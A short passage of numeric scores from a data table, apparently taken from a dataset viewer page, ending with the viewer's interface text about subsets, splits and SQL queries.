"0.47916636",
"0.47832614",
"0.47782978",
"0.4776859"
] |
0.71978825
|
0
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.